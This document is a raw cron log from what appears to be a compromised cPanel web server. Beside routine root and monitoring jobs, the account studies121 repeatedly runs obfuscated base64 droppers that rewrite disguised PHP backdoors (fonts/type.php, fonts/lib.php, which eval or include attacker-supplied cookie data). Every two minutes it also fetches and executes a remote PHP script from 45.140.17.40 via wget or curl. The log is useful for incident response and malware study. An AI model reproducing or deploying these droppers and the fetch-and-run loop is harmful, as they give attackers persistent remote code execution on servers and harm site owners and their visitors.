Sep  3 10:23:01 ip-184-168-122-23 CROND[19208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:24:01 ip-184-168-122-23 CROND[19390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:24:01 ip-184-168-122-23 CROND[19392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:24:01 ip-184-168-122-23 CROND[19394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:24:01 ip-184-168-122-23 CROND[19393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:24:01 ip-184-168-122-23 CROND[19395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:25:01 ip-184-168-122-23 CROND[19532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:25:01 ip-184-168-122-23 CROND[19534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:25:01 ip-184-168-122-23 CROND[19535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:25:01 ip-184-168-122-23 CROND[19536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:25:01 ip-184-168-122-23 CROND[19538]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 10:25:01 ip-184-168-122-23 CROND[19540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:25:01 ip-184-168-122-23 CROND[19537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:26:01 ip-184-168-122-23 CROND[19656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:26:01 ip-184-168-122-23 CROND[19658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:26:01 ip-184-168-122-23 CROND[19659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:26:01 ip-184-168-122-23 CROND[19661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:26:01 ip-184-168-122-23 CROND[19666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:27:01 ip-184-168-122-23 CROND[19763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:27:01 ip-184-168-122-23 CROND[19765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:27:01 ip-184-168-122-23 CROND[19767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:27:01 ip-184-168-122-23 CROND[19768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:28:01 ip-184-168-122-23 CROND[19909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:28:01 ip-184-168-122-23 CROND[19912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:28:02 ip-184-168-122-23 CROND[19913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:28:02 ip-184-168-122-23 CROND[19916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:28:02 ip-184-168-122-23 CROND[19919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:29:01 ip-184-168-122-23 CROND[20059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:29:01 ip-184-168-122-23 CROND[20061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:29:01 ip-184-168-122-23 CROND[20062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:29:01 ip-184-168-122-23 CROND[20064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:30:01 ip-184-168-122-23 CROND[20270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:30:01 ip-184-168-122-23 CROND[20274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:30:01 ip-184-168-122-23 CROND[20272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:30:01 ip-184-168-122-23 CROND[20273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:30:01 ip-184-168-122-23 CROND[20275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:30:01 ip-184-168-122-23 CROND[20276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:30:01 ip-184-168-122-23 CROND[20277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:30:01 ip-184-168-122-23 CROND[20278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:31:02 ip-184-168-122-23 CROND[20390]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 10:31:02 ip-184-168-122-23 CROND[20393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:31:02 ip-184-168-122-23 CROND[20391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:31:02 ip-184-168-122-23 CROND[20392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:31:02 ip-184-168-122-23 CROND[20394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:32:02 ip-184-168-122-23 CROND[20514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:32:02 ip-184-168-122-23 CROND[20515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:32:02 ip-184-168-122-23 CROND[20517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:32:02 ip-184-168-122-23 CROND[20520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:32:02 ip-184-168-122-23 CROND[20521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:33:01 ip-184-168-122-23 CROND[20664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:33:01 ip-184-168-122-23 CROND[20665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:33:01 ip-184-168-122-23 CROND[20666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:33:02 ip-184-168-122-23 CROND[20670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:34:01 ip-184-168-122-23 CROND[20764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:34:01 ip-184-168-122-23 CROND[20766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:34:01 ip-184-168-122-23 CROND[20767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:34:01 ip-184-168-122-23 CROND[20768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:34:01 ip-184-168-122-23 CROND[20769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:35:01 ip-184-168-122-23 CROND[20888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:35:01 ip-184-168-122-23 CROND[20887]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 10:35:01 ip-184-168-122-23 CROND[20890]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:35:01 ip-184-168-122-23 CROND[20894]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 10:35:01 ip-184-168-122-23 CROND[20896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:35:01 ip-184-168-122-23 CROND[20897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
